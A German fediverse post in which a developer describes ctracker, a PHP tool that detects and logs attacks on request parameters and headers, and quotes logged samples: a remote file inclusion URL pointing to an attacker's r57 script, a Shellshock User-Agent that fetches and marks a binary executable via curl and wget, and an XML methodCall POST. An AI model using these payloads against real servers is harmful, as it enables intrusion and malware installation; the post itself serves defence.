@lars @Tuxi ⁂ Es liegt meistens - ohne mit dem Finger auf die Entwickler zeigen zu wollen oder mich als schlauer, klueger oder besser darstellen zu wollen - an mangelnder Absicherung an GET-/POST-Parametern und/oder Kopfzeilen. Dagegen gab es mal eine kleine PHP-Software namens #ctracker , welche von www.cback.de urspruenglich entwickelt wurde. Ich hatte diese dann aufgegriffen, da noch sehr viele weitere Absicherungen fehlten und hatte sie dann auch massiv weiter entwickelt, inklusive Loggen von solchen Angriffen in der Datenbank. Die Software hat auch eine Teergrube dabei, was eigentlich nichts weiter ist als ein Aufruf von sleep(mt_rand(5,10); z.B. was bewirkt, dass das Script fuer 5 bis 10 Sekunden lang einfach nichts tut und dem Cracker (bitte nicht Hacker verwenden!) seine "Angriffswellen" etwas am vermiesen und ausbremsen ist.

Beispiele:

Klassischer Angriff auf GET-Parameter (dabei ist es vollkommen egal, wie der Parameter heist, 682 Seiten Eintraege):
module=http://example.foo/admin/imagen/r57.txt?

Das vom Cracker kontrollierte Script r57.txt soll eingebunden werden, nicht vom eigentlich Script angebotenes lokales "Modul". Hier habe ich wirklich eine sehr grosse Sammlung an IP-Adressen.

Kopfzeile fuer den User-Agent (Browserbezeichnung, Bezeichnung des Bots, ...) wurde angegriffen (IP-Adresse verfaelscht, 31 Seiten Eintraege):
() { :;}; /bin/bash -c \"curl -o /tmp/zmuie http://http://1.2.3.4/zmuie/zmuie;/usr/bin/wget http://http://1.2.3.4/zmuie/zmuie -O /tmp/zmuie;wget http://http://1.2.3.4/zmuie/zmuie -O /dev/shm/zmuie;chmod x /dev/shm/zmuie /tmp/zmuie;

Hier hat wer einen Remote-Code-Execusion-Angriff ausprobiert und das "zmuie", was er versucht hatte, auf meinen Server herunter zu laden ist vermutlich eine Hintertuer/Daemon, der dann einen Port oeffnet. Das http://http:// ist aber ungueltig. Einem Profi waere das nicht passiert, vermutlich war also ein ahnungsloses "Script-Kiddie" am Werk.

Entferntes Aufrufen von Methoden per POST-Daten (14 Seiten):

<?xml_version=\"1.0\" encoding=\"utf-8\" ?>
<methodCall>
<params>
<_filter><![CDATA[insert]]></_filter>
<mid><![CDATA[qna]]></mid>
<title><![CDATA[Awards]]></title>
<is_secret><![CDATA[]]></is_secret>
<allow_comment><![CDATA[]]></allow_comment>
<a....

Das kommt auch gerne viel vor, der hier gezeigte Angriff bezieht sich aber auf eine andere Software, die solch methodCall per POST-Daten zulaesst, was ein Sicherheitsrisiko ist.

Die angegeben Anzahl Seiten beziehen sich nicht auf den einzelnen Fall (wie oft dieser vorkommt), sondern wie oft z.B. die unveraenderten GET-Parameter und dann erkannten Angriffsmuster darin gefunden wurde. Das Script macht nichts weiter, als ein bekanntes Angriffsmuster gegen * auszutauschen und in eine lokale Variable das Ergebnis zu schreiben. Unterscheidet die sich vom Original, wurde ein Angriff erkannt.

GIT-URL: git://git.mxchange.org/ctracker.git

Klappt leider nicht mit vielen Fediversum-Software, da diese Webfinger-URLs erlauben, was eine URL als GET-Parameter sein kann und dann vom Script als Angriffsmuster erkannt und blockiert wird.